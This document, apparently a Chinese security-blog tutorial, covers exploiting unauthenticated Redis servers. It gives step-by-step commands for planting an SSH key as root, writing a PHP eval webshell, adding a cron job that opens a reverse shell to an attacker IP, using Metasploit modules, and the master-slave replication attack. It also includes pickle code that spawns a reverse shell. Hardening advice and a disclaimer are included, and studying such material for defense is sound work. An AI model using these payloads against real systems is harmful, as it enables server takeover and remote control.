Redis漏洞之殇
字数 1058 2025-08-11 17:40:12
Redis未授权访问漏洞分析与利用指南
一、漏洞概述
Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者可以利用该漏洞获取服务器权限。主要成因包括:
- Redis绑定在0.0.0.0:6379且无防火墙限制
- 未设置密码认证(默认为空)
- 以root权限运行Redis服务
二、漏洞环境搭建
靶机环境(CentOS7)
- 安装Redis:
yum install redis - 修改配置文件
/etc/redis.conf:#bind 127.0.0.1 //注释此条 protected-mode no //关闭保护模式 daemonize yes //后台运行 - 启动服务:
redis-server /etc/redis.conf
三、Redis基本命令
set testkey "Hello World" # 设置键值
get testkey # 获取键值
keys * # 列出所有键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
save # 执行备份
flushall # 删除所有数据
del key # 删除指定键
四、漏洞利用方式
1. 远程连接验证
攻击机执行:redis-cli -h 靶机IP
无需认证直接连接即存在漏洞
2. 写入SSH公钥
步骤:
- 攻击机生成密钥:
ssh-keygen -t rsa - 格式化公钥:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt - 写入Redis:
cat 1.txt | redis-cli -h 靶机IP -x set payload - 设置目录和文件名:
config set dir /root/.ssh config set dbfilename "authorized_keys" save - SSH连接:
ssh -i id_rsa root@靶机IP
3. 写入Webshell
- 靶机启动PHP服务:
php -S IP:PORT - Redis操作:
config set dir /tmp set payload "\n\n<?php @eval($_POST['redis']);?>\n\n" config set dbfilename shell.php save
4. 定时任务反弹Shell
- Redis操作:
config set dir /var/spool/cron/ config set dbfilename root set xxx "\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/端口 0>&1\n\n" save
5. 使用Metasploit框架
可用模块:
auxiliary/scanner/redis/file_upload # 文件上传
auxiliary/scanner/redis/redis_login # 密码爆破
auxiliary/scanner/redis/redis_server # 密码验证
exploit/linux/redis/redis_unauth_exec # 获取shell
五、Redis主从复制漏洞(4.x/5.x)
利用原理
- 攻击者伪装成Redis主节点
- 受害者设置为从节点(slaveof)
- 通过全量复制传输恶意.so文件
- 加载恶意模块执行任意命令
利用步骤
- 设置恶意主节点
- 受害者执行:
slaveof 攻击机IP 端口 - 设置备份文件名为.so
- 触发全量传输
- 加载恶意模块
六、漏洞修复方案
-
网络层限制
- 修改
redis.conf:bind 内网IP - 配置防火墙规则限制访问IP
- 修改
-
认证加固
- 设置密码:
requirepass 复杂密码 - 禁用危险命令:修改
redis.conf:rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
- 设置密码:
-
权限控制
- 禁止root运行:
useradd -M -s /sbin/nologin redis - 设置文件权限:
chmod 600 /path/redis.conf
- 禁止root运行:
-
其他措施
- 修改默认端口
- 开启保护模式:
protected-mode yes - 定期更新Redis版本
七、Python反序列化结合Redis未授权案例
import redis
import pickle
# 恶意序列化数据
class Exploit(object):
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/攻击机IP/端口 0>&1',))
# 写入Redis
r = redis.StrictRedis(host='靶机IP', port=6379)
r.set('payload', pickle.dumps(Exploit()))
当受害者应用反序列化该数据时触发RCE。
八、参考资源
- Redis安全配置最佳实践
- Redis未授权访问漏洞分析报告
- 主从复制漏洞利用技术细节
- 最新CVE漏洞公告
注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。